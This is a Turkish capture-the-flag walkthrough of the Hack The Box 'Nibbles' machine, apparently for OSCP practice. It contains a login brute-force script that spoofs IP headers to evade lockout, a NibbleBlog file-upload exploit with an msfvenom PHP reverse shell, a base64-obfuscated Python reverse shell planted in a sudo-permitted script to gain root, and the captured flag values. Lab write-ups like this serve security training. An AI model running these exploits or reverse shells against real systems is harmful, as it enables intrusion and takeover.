| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Nibbles – HTB | Easy | Linux |  |
Walkthrough
Uzun zamandır makine çözümü yapmıyordum aslında bu makineyi daha önceden çözdüm ancak OSCP ayarında hack the box’da çözmediğim kaine kalmadı. İş değiştirme yeni konular derken OSCP’yi ihmal ettim ve tekrardan çözmeye başladım. Bu iyi bir pratik oluyor. Şimdi başlayalım.
nmap taraması
┌──(root💀kali)-[~]
└─# nmap -p- -A -T4 10.10.10.75
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-15 14:45 EST
Nmap scan report for 10.10.10.75 (10.10.10.75)
Host is up (0.082s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=11/15%OT=22%CT=1%CU=39521%PV=Y%DS=2%DC=T%G=Y%TM=6192B9
OS:19%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 70.31 ms 10.10.14.1 (10.10.14.1)
2 69.04 ms 10.10.10.75 (10.10.10.75)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.31 secondsİnternet sitesine gittiğimde yorum satırlarında nibbleblog linki mevcuttu bende hemen gobuster başlattım.
┌──(root💀kali)-[~]
└─# gobuster dir --add-slash --expanded --follow-redirect --url http://10.10.10.75/nibbleblog --no-error -t 50 -x php,txt,html --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee 10.10.10.75/gobuster1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.75/nibbleblog
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt,html
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/11/15 14:59:10 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.75/nibbleblog/sitemap.php (Status: 200) [Size: 402]
http://10.10.10.75/nibbleblog/index.php (Status: 200) [Size: 2987]
http://10.10.10.75/nibbleblog/content/ (Status: 200) [Size: 1353]
http://10.10.10.75/nibbleblog/themes/ (Status: 200) [Size: 1741]
http://10.10.10.75/nibbleblog/feed.php (Status: 200) [Size: 302]
http://10.10.10.75/nibbleblog/admin.php (Status: 200) [Size: 1401]
http://10.10.10.75/nibbleblog/admin/ (Status: 200) [Size: 2127]
http://10.10.10.75/nibbleblog/plugins/ (Status: 200) [Size: 3777]
http://10.10.10.75/nibbleblog/install.php (Status: 200) [Size: 78]
http://10.10.10.75/nibbleblog/update.php (Status: 200) [Size: 1622]
http://10.10.10.75/nibbleblog/languages/ (Status: 200) [Size: 3167]
http://10.10.10.75/nibbleblog/LICENSE.txt (Status: 200) [Size: 35148]
http://10.10.10.75/nibbleblog/COPYRIGHT.txt (Status: 200) [Size: 1272]
===============================================================
2021/11/15 15:23:08 Finished
===============================================================
Sayfanın admin panelini bulduk ancak 5 denemeden sonra block yiyoruz. Bende bunu bypass etmeyi denedim. Aşağıdaki python kodunu yazdım istekleri burp’e yönlendirdim ve daha sornasında 30* ile yönelndirme alan isteklere baktım. Bunun için çeşitli wordlistler kullandım ancak en sonunda cewl kullandım.
┌──(root💀kali)-[~/10.10.10.75]
└─# cewl http://10.10.10.75/nibbleblog/ -d 3 --lowercase --with-numbers -w wordlist
CeWL 5.4.8 (Inclusion) Robin Wood ([email protected]) (https://digi.ninja/)
┌──(root💀kali)-[~/10.10.10.75]
└─# cat bypass.py
import requests
url = "http://10.10.10.75/nibbleblog/admin.php"
http_proxy = "http://127.0.0.1:8081"
proxyDict = {"http" : http_proxy}
wordlist_file = open("wordlist")
wordlist = wordlist_file.read().split("\n")
wordlist_file.close()
def random_ip():
return '{}.{}.{}.{}'.format(*__import__('random').sample(range(0,255),4))
def headers_list(i):
ip = random_ip()
return {"X-Originating-IP":ip, "X-Forwarded-For":ip, "X-Remote-IP":ip, "X-Remote-Addr":ip}
for i in wordlist:
payload = {'username': 'admin', 'password':i}
r=requests.post(url, headers=headers_list(1), data = payload, proxies=proxyDict)
#print(i,"==>",len(r.text))
print("Check Burp")
┌──(root💀kali)-[~/10.10.10.75]
└─# python3 bypass.py
Check Burp
Credential:
admin:nibblesİnternette araştırma yaptıktan sonra file upload zafiyeti olduğunu gördüm. https://raw.githubusercontent.com/TheRealHetfield/exploits/master/nibbleBlog_fileUpload.py bu proje ile shell elde ettim. Script’in düzenlenmiş hali aşağıdadır.
┌──(root💀kali)-[~/10.10.10.75/exp]
└─# cat nibbleBlog_fileUpload.py
#!/usr/bin/python
#
# Your PHP Payload goes into local file nibble.txt
# msfvenom -p php/reverse_perl --format raw -o nibble.txt LHOST=ATTACKER LPORT=ATTACKER
#
# Loosely ported from the NibbleBlog File Upload MSF Module
#
# Twitter: @a7kemc73
#
import requests
DEBUG=1
nibbleUsername = "admin"
nibblePassword = "nibbles"
nibbleURL = "http://10.10.10.75/nibbleblog/"
loginURL = nibbleURL + "admin.php"
uploadURL = nibbleURL + "admin.php?controller=plugins&action=config&plugin=my_image"
exploitURL = nibbleURL + "content/private/plugins/my_image/image.php"
body='<?php echo "He4dTr1p is pwning...<br>";'
with open('nibble.txt', 'r') as payload:
body=body + payload.read()
body=body + 'echo "Check for shell!"; ?>'
with requests.Session() as web:
# Getting login session and cookies
loginGetResp = web.get(loginURL)
loginPostResp = web.post(loginURL, data={'username':nibbleUsername,'password':nibblePassword})
if DEBUG > 0:
print '[-] LOGIN RESPONSE: ' + str(loginPostResp.status_code) + " " + str(loginPostResp.reason)
if DEBUG > 1:
print '\n' + loginPostResp.text
if 'Incorrect username or password.' in loginPostResp.text:
print '[!] Login Failed.'
else:
# Performing File Upload
print '[+] Login Successful.'
uploadPostResp = web.post(uploadURL, data={'plugin':'my_image','title':'My image','position':'4','caption':'He4dTr1p','image_resize':'1','image_width':'230','image_height':'200','image_option':'auto'}, files={'image': ('nibbles.php', body, 'application/x-php')}, timeout=30)
if DEBUG > 0:
if '<b>Warning</b>' in uploadPostResp.text:
print '[-] Upload likely successful.'
else:
print '[-] Upload likely failed.'
if DEBUG > 0:
print '[-] UPLOAD RESPONSE: ' + str(uploadPostResp.status_code) + ' ' + str(uploadPostResp.reason)
if DEBUG > 1:
print '\n' + uploadPostResp.text
# Executing Upload
exploitResp = web.get(exploitURL)
if exploitResp.status_code == 200:
print '[+] Exploit launched, check for shell.'
else:
print '[!] Exploit failed.'
if DEBUG > 0:
print '[-] EXPLOIT RESPONSE: ' + str(exploitResp.status_code) + ' ' + str(exploitResp.reason)
if DEBUG > 1:
print '\n' + exploitResp.text
┌──(root💀kali)-[~/10.10.10.75/exp]
└─# msfvenom -p php/reverse_perl --format raw -o nibble.txt LHOST=10.10.14.11 LPORT=4444 130 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1998 bytes
Saved as: nibble.txt
┌──(root💀kali)-[~/10.10.10.75/exp]
└─# python nibbleBlog_fileUpload.py
[-] LOGIN RESPONSE: 200 OK
[+] Login Successful.
[-] Upload likely successful.
[-] UPLOAD RESPONSE: 200 OK
[+] Exploit launched, check for shell.
[-] EXPLOIT RESPONSE: 200 OK
┌──(root💀kali)-[~/10.10.10.75/exp]
└─# nc -lvp 4444 130 ⨯
listening on [any] 4444 ...
connect to [10.10.14.11] from 10.10.10.75 [10.10.10.75] 55526
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
which python3
/usr/bin/python3
nibbler@Nibbles:/home/nibbler$ ls
ls
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29 2017 .
drwxr-xr-x 3 root root 4096 Dec 10 2017 ..
-rw------- 1 nibbler nibbler 0 Dec 29 2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10 2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Nov 15 14:43 user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
ba316043b67883782a0264978d11707dEnterasan bir şey buldum.
[!] sud010 Can we list sudo commands without a password?................... yes!
---
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
---
nibbler@Nibbles:/tmp$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/tmp$
nibbler@Nibbles:/tmp$
nibbler@Nibbles:/tmp$
nibbler@Nibbles:/tmp$ cat /home/nibbler/personal/stuff/monitor.sh
cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX
1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMTEiLDQyNDIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9
iaW4vc2giKScK | base64 -d | bash' > monitor.sh
<xlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScK | base64 -d | bash' > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh
echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMTEiLDQyNDIpK
Ttvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScK | base64 -d | bash
nibbler@Nibbles:/home/nibbler/personal/stuff$
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -u root /home/nibbler/personal/stuff/monitor.sh
┌──(root💀kali)-[~]
└─# nc -lvp 4242
listening on [any] 4242 ...
id
connect to [10.10.14.11] from 10.10.10.75 [10.10.10.75] 41028
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
fe90c027799eb2048ee7701a020e255f
İlk Yorumu Siz Yapın